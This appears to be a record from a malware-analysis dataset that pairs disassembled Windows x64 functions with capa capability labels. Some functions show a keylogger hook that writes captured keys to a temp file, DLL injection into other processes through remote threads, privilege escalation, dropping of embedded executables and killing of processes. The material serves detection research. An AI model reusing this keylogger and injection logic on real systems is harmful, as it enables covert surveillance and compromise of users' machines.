joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001540
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x270
mov rax, qword [0x140006008]
xor rax, rsp
mov qword [rsp + 0x260], rax
mov rdi, rcx
xor esi, esi
xor edx, edx
lea ecx, [rsi + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x1400015ca
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x238
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x1400015ca
nop word [rax + rax]
lea rdx, [rsp + 0x4c]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsicmp]
test eax, eax
je 0x1400015c6
lea rdx, [rsp + 0x20]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x1400015a0
jmp 0x1400015ca
mov esi, dword [rsp + 0x28]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
mov rcx, qword [rsp + 0x260]
xor rcx, rsp
call fcn.140003090
lea r11, [rsp + 0x270]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret

Function at 0x140001670
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x50
mov rax, qword [0x140006008]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov rdi, rcx
mov rbx, 0xffffffffffffffff
nop dword [rax]
inc rbx
cmp byte [rcx + rbx], 0
jne 0x1400016a0
xor ebp, ebp
lea rcx, [0x1400066d0]
mov qword [rsp + 0x30], rbp
xor r9d, r9d
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 4
lea edx, [rbp + 4]
lea r8d, [rbp + 1]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rsi, rax
cmp rax, 0xffffffffffffffff
jne 0x1400016f5
lea rdx, [0x1400066d0]
lea rcx, str.Terminal_failure:_Unable_to_create_open_file___s__for_writing._n
call fcn.140001060
jmp 0x140001756
test ebx, ebx
je 0x14000174d
nop dword [rax]
lea r9, [rsp + 0x40]
mov qword [rsp + 0x20], rbp
mov r8d, ebx
mov rdx, rdi
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x140001741
mov edx, dword [rsp + 0x40]
lea r8, [0x1400066d0]
lea rcx, str.Wrote__u_bytes_to___s__successfully._n
call fcn.140001060
mov ecx, dword [rsp + 0x40]
add rdi, rcx
sub ebx, ecx
jne 0x140001700
jmp 0x14000174d
lea rcx, str.Terminal_failure:_Unable_to_write_to_file._n
call fcn.140001180
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.140003090
mov rbx, qword [rsp + 0x68]
mov rbp, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x78]
add rsp, 0x50
pop rdi
ret
Function at 0x140001dc0
Capabilities:
Log keystrokes via application hook

Disassembly:
push rbx
sub rsp, 0xb0
mov rax, qword [0x140006008]
xor rax, rsp
mov qword [rsp + 0xa0], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcessId]
mov ebx, eax
call fcn.140001530
imul ebx, eax
mov ecx, ebx
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
lea rcx, [rsp + 0x30]
call fcn.140001d10
nop
mov rcx, rax
call fcn.140001fc0
mov rdx, rax
lea rcx, [rsp + 0x80]
call fcn.140002060
nop
lea rcx, [rsp + 0x30]
call fcn.140002050
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x80]
call fcn.140001fd0
mov r10, rax
lea rdx, [rsp + 0x28]
lea rcx, [rsp + 0x80]
call fcn.140002000
mov r8, qword [r10]
mov rdx, qword [rax]
lea rcx, [rsp + 0x50]
call fcn.140002660
mov rcx, rax
call fcn.140001f20
mov r9, rax
lea r8, str.C:WindowsTemp_found_keys__s.txt
mov edx, 0x50
lea rcx, [0x1400066d0]
call fcn.140001100
lea rcx, [rsp + 0x50]
call fcn.140001f30
lea rdx, [0x1400066d0]
lea rcx, str.Results:__ls_n
call fcn.140001180
xor r9d, r9d
xor r8d, r8d
lea rdx, [0x140001780]
lea ecx, [r9 + 0xd]
call qword [sym.imp.USER32.dll_SetWindowsHookExW]
xor r9d, r9d
xor r8d, r8d
lea rdx, [0x140001c80]
lea ecx, [r9 + 0xe]
call qword [sym.imp.USER32.dll_SetWindowsHookExW]
nop
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rsp + 0x50]
call qword [sym.imp.USER32.dll_GetMessageW]
test eax, eax
jne 0x140001ed0
nop word [rax + rax]
lea rcx, [rsp + 0x50]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rsp + 0x50]
call qword [sym.imp.USER32.dll_DispatchMessageW]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rsp + 0x50]
call qword [sym.imp.USER32.dll_GetMessageW]
test eax, eax
je 0x140001ef0
jmp 0x140001ed0
Function at 0x140001520
Capabilities:
Acquire debug privileges

Disassembly:
sub rsp, 0x68
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x50], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x30]
mov edx, 0x28
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x140001557
xor eax, eax
jmp 0x1400015e9
lea r8, [rsp + 0x38]
lea rdx, [0x14001b5f8]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
jne 0x140001573
xor eax, eax
jmp 0x1400015e9
mov dword [rsp + 0x40], 1
mov eax, 0xc
imul rax, rax, 0
mov rcx, qword [rsp + 0x38]
mov qword [rsp + rax + 0x44], rcx
mov eax, 0xc
imul rax, rax, 0
mov dword [rsp + rax + 0x4c], 2
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0x10
lea r8, [rsp + 0x40]
xor edx, edx
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
jne 0x1400015d1
xor eax, eax
jmp 0x1400015e9
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
jne 0x1400015e4
xor eax, eax
jmp 0x1400015e9
mov eax, 1
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.140001ff0
add rsp, 0x68
ret
Function at 0x140001600
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
sub rsp, 0x88
mov dword [rsp + 0x54], 0
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x60], 0
mov qword [rsp + 0x48], 0
mov r8d, dword [rsp + 0x90]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rsp + 0x40], rax
cmp qword [rsp + 0x40], 0
jne 0x14000165f
jmp 0x140001780
mov rax, qword [rsp + 0x98]
mov qword [rsp + 0x78], rax
mov qword [rsp + 0x58], 0xffffffffffffffff
inc qword [rsp + 0x58]
mov rax, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x58]
cmp byte [rax + rcx], 0
jne 0x140001675
mov rax, qword [rsp + 0x58]
inc rax
mov dword [rsp + 0x50], eax
movsxd rax, dword [rsp + 0x50]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x1000
mov r8, rax
xor edx, edx
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x48], rax
cmp qword [rsp + 0x48], 0
jne 0x1400016cb
jmp 0x140001780
movsxd rax, dword [rsp + 0x50]
mov qword [rsp + 0x20], 0
mov r9, rax
mov r8, qword [rsp + 0x98]
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x1400016fd
jmp 0x140001780
lea rcx, [0x14001b620]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, [0x14001b610]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x68], rax
cmp qword [rsp + 0x68], 0
jne 0x140001729
jmp 0x140001780
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x68]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov qword [rsp + 0x70], rax
cmp qword [rsp + 0x70], 0
jne 0x140001768
jmp 0x140001780
mov edx, 0xffffffff
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x54], 1
cmp qword [rsp + 0x48], 0
je 0x1400017a1
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
cmp qword [rsp + 0x60], 0
je 0x1400017b4
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp qword [rsp + 0x40], 0
je 0x1400017c7
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rsp + 0x54]
add rsp, 0x88
ret
Function at 0x1400017e0
Capabilities:
Enumerate process modules
Enumerate processes

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x3c8
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x3b0], rax
mov qword [rsp + 0x30], 0
mov edx, 0x5c
mov rcx, qword [rsp + 0x3d0]
call fcn.140001000
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
inc rax
mov qword [rsp + 0x38], rax
xor edx, edx
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x40], 0x130
lea rdx, [rsp + 0x40]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_Process32First]
mov qword [rsp + 0x28], 0xffffffffffffffff
mov dword [rsp + 0x170], 0x238
mov qword [rsp + 0x28], 0xffffffffffffffff
mov byte [rsp + 0x20], 0
lea rcx, [rsp + 0x6c]
call fcn.140001480
movzx eax, al
test eax, eax
je 0x14000191c
mov edx, dword [rsp + 0x48]
mov ecx, 8
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov qword [rsp + 0x28], rax
lea rdx, [rsp + 0x170]
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_Module32First]
mov dword [rsp + 0x24], eax
cmp dword [rsp + 0x24], 0
je 0x1400018f2
mov rdx, qword [rsp + 0x38]
lea rcx, [rsp + 0x1a0]
call fcn.140005880
test eax, eax
jne 0x1400018d9
mov byte [rsp + 0x20], 1
lea rdx, [rsp + 0x170]
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_Module32Next]
mov dword [rsp + 0x24], eax
jmp 0x1400018b7
movzx eax, byte [rsp + 0x20]
test eax, eax
jne 0x14000190f
xor r8d, r8d
mov rdx, qword [rsp + 0x3d0]
mov ecx, dword [rsp + 0x48]
call fcn.140001600
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140001934
lea rdx, [rsp + 0x40]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x140001855
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
mov rcx, qword [rsp + 0x3b0]
xor rcx, rsp
call fcn.140001ff0
add rsp, 0x3c8
ret
Function at 0x140001960
Capabilities:
Extract resource via kernel32 functions
Write file on windows

Disassembly:
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
sub rsp, 0x88
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x70], rax
movzx eax, word [rsp + 0x90]
mov r8, qword [rsp + 0x98]
mov edx, eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindResourceA]
mov qword [rsp + 0x48], rax
cmp qword [rsp + 0x48], 0
jne 0x1400019b2
xor eax, eax
jmp 0x140001aa8
mov rdx, qword [rsp + 0x48]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov dword [rsp + 0x40], eax
cmp dword [rsp + 0x40], 0
ja 0x1400019d1
xor eax, eax
jmp 0x140001aa8
mov rdx, qword [rsp + 0x48]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov qword [rsp + 0x58], rax
cmp qword [rsp + 0x58], 0
jne 0x1400019f2
xor eax, eax
jmp 0x140001aa8
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_LockResource]
mov qword [rsp + 0x60], rax
cmp qword [rsp + 0x60], 0
jne 0x140001a11
xor eax, eax
jmp 0x140001aa8
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 3
mov edx, 0xc0000000
mov rcx, qword [rsp + 0xa0]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
jne 0x140001a57
xor eax, eax
jmp 0x140001aa8
mov dword [rsp + 0x68], 0
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x68]
mov r8d, dword [rsp + 0x40]
mov rdx, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov dword [rsp + 0x44], eax
cmp dword [rsp + 0x44], 0
je 0x140001a94
cmp dword [rsp + 0x68], 0
ja 0x140001a98
xor eax, eax
jmp 0x140001aa8
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
mov rcx, qword [rsp + 0x70]
xor rcx, rsp
call fcn.140001ff0
add rsp, 0x88
ret

Function at 0x140001ac0
Capabilities:
Create process on windows

Disassembly:
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0xf0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0xe0], rax
lea rax, [rsp + 0x70]
mov rdi, rax
xor eax, eax
mov ecx, 0x68
rep stosb byte [rdi], al
mov dword [rsp + 0x70], 0x68
lea rax, [rsp + 0x50]
mov rdi, rax
xor eax, eax
mov ecx, 0x18
rep stosb byte [rdi], al
lea rax, [rsp + 0x50]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x70]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rsp + 0x100]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x140001b6f
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, [0x14001b630]
call fcn.140001080
jmp 0x140001b85
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0xe0]
xor rcx, rsp
call fcn.140001ff0
add rsp, 0xf0
pop rdi
ret
Function at 0x140001ba0
Capabilities:
Enumerate processes
Terminate process

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x188
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x170], rax
xor edx, edx
mov ecx, 0xf
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x40], 0x130
lea rdx, [rsp + 0x40]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_Process32First]
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x20], 0
je 0x140001c86
lea rax, [rsp + 0x6c]
mov rcx, qword [rsp + 0x190]
sub rcx, rax
movzx edx, byte [rax]
cmp dl, byte [rax + rcx]
jne 0x140001c1a
inc rax
test dl, dl
jne 0x140001c07
xor eax, eax
jmp 0x140001c1f
sbb eax, eax
or eax, 1
test eax, eax
jne 0x140001c6d
mov r8d, dword [rsp + 0x48]
xor edx, edx
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0
je 0x140001c6d
mov edx, 9
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov edx, 0xffffffff
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rsp + 0x40]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_Process32Next]
mov dword [rsp + 0x20], eax
jmp 0x140001bec
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x170]
xor rcx, rsp
call fcn.140001ff0
add rsp, 0x188
ret

Function at 0x140001cb0
Capabilities:
Get common file path
Move file

Disassembly:
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x150
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x140], rax
lea rax, [rsp + 0x30]
mov rdi, rax
xor eax, eax
mov ecx, 0x104
rep stosb byte [rdi], al
lea rax, [rsp + 0x28]
mov rdi, rax
xor eax, eax
mov ecx, 5
rep stosb byte [rdi], al
mov edx, 0x104
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea r8, [0x14001b5f4]
mov edx, 0x104
lea rcx, [rsp + 0x30]
call fcn.140001190
mov dword [rsp + 0x24], 0
jmp 0x140001d2b
mov eax, dword [rsp + 0x24]
inc eax
mov dword [rsp + 0x24], eax
cmp dword [rsp + 0x24], 4
jge 0x140001d58
call fcn.140004190
cdq
mov ecx, 0x1a
idiv ecx
mov eax, edx
add eax, 0x61
mov byte [rsp + 0x20], al
movsxd rax, dword [rsp + 0x24]
movzx ecx, byte [rsp + 0x20]
mov byte [rsp + rax + 0x28], cl
jmp 0x140001d21
lea r8, [rsp + 0x28]
mov edx, 0x104
lea rcx, [rsp + 0x30]
call fcn.140001190
lea r8, [0x14001b64c]
mov edx, 0x104
lea rcx, [rsp + 0x30]
call fcn.140001190
mov r8d, 1
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x160]
call qword [sym.imp.KERNEL32.dll_MoveFileExA]
mov r8d, 4
xor edx, edx
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_MoveFileExA]
mov rcx, qword [rsp + 0x140]
xor rcx, rsp
call fcn.140001ff0
add rsp, 0x150
pop rdi
ret
Function at 0x140001dd0
Capabilities:
Get common file path

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x490
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x480], rax
call fcn.140001520
lea rax, [rsp + 0x150]
mov rdi, rax
xor eax, eax
mov ecx, 0x104
rep stosb byte [rdi], al
lea rax, [rsp + 0x260]
mov rdi, rax
xor eax, eax
mov ecx, 0x104
rep stosb byte [rdi], al
lea r8, str.msvcr130.dll
mov edx, 0x104
lea rcx, [rsp + 0x260]
call fcn.140001110
xor ecx, ecx
call qword [sym.imp.ole32.dll_CoInitialize]
lea rax, [rsp + 0x150]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x1a
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathA]
lea r8, [0x14001b668]
mov edx, 0x104
lea rcx, [rsp + 0x150]
call fcn.140001190
lea r8, [rsp + 0x260]
mov edx, 0x104
lea rcx, [rsp + 0x150]
call fcn.140001190
lea r8, [rsp + 0x150]
lea rdx, [0x14001b680]
mov ecx, 0x65
call fcn.140001960
mov dword [rsp + 0x30], eax
cmp dword [rsp + 0x30], 0
jne 0x140001eca
xor eax, eax
jmp 0x140001fc3
lea rax, [rsp + 0x40]
mov rdi, rax
xor eax, eax
mov ecx, 0x104
rep stosb byte [rdi], al
lea rax, [rsp + 0x40]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x1a
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathA]
lea r8, [0x14001b688]
mov edx, 0x104
lea rcx, [rsp + 0x40]
call fcn.140001190
lea r8, [0x14001b6a0]
mov edx, 0x104
lea rcx, [rsp + 0x40]
call fcn.140001190
lea rcx, [0x14001b6b8]
call fcn.140001ba0
lea r8, [rsp + 0x40]
lea rdx, str.HOOKEXE
mov ecx, 0x66
call fcn.140001960
mov dword [rsp + 0x30], eax
cmp dword [rsp + 0x30], 0
jne 0x140001f55
xor eax, eax
jmp 0x140001fc3
lea rcx, [rsp + 0x40]
call fcn.140001ac0
lea rcx, [rsp + 0x40]
call fcn.140001cb0
lea rax, [rsp + 0x370]
mov rdi, rax
xor eax, eax
mov ecx, 0x104
rep stosb byte [rdi], al
mov r8d, 0x104
lea rdx, [rsp + 0x370]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rcx, [rsp + 0x370]
call fcn.140001cb0
xor eax, eax
cmp eax, 1
je 0x140001fc1
lea rcx, [rsp + 0x150]
call fcn.1400017e0
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140001fa0
xor eax, eax
mov rcx, qword [rsp + 0x480]
xor rcx, rsp
call fcn.140001ff0
add rsp, 0x490
pop rdi
ret

Function at 0x140002a18
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140002a62
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140002a62
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140002a62
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140002a62
cmp dword [rcx + 0x84], 0xe
jbe 0x140002a62
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140002a64
xor al, al
add rsp, 0x28
ret

Function at 0x14000652c
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140006358

Function at 0x140012270
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140012298
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x140012298
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x140001d60
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.1400086e0
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call fcn.1400086e0
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop dword [rax]

Function at 0x140001dd0
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x14000f1a4]
mov rbx, rcx
test esi, esi
jle 0x140001f00
mov rax, qword [0x14000f1a8]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x140001e1b
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140001ea5
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x140001e00
mov rcx, rbx
call fcn.140002880
mov rdi, rax
test rax, rax
je 0x140001f22
mov rax, qword [0x14000f1a8]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call fcn.1400029c0
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x14000f1a8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140001f07
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x140001e9e
lea edx, [rax - 0x40]
and edx, 0xffffffbf
jne 0x140001eb0
add dword [0x14000f1a4], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x14000f1a8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140001e9e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.140001d60
nop dword [rax]
xor esi, esi
jmp 0x140001e28
mov rax, qword [0x14000f1a8]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.140001d60
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call fcn.140001d60
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x1400024c0
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x14000f200]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x14000f1e0]
test rbx, rbx
je 0x140002524
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop word cs:[rax + rax]
nop
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test rsi, rsi
je 0x14000251b
test eax, eax
jne 0x14000251b
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140002500
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x140002880
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x14000b9f0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x1400028a0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x1400028a8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x1400028a0
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x1400028fd
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x1400028f4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x1400028a0
add rax, 0x28
cmp rax, r9
jne 0x1400028e0
xor eax, eax
ret

Function at 0x140002900
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x14000b9f0]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x14000291f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140002928
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x14000291f
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x1400029c0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x14000b9f0]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x1400029df
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x1400029e8
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret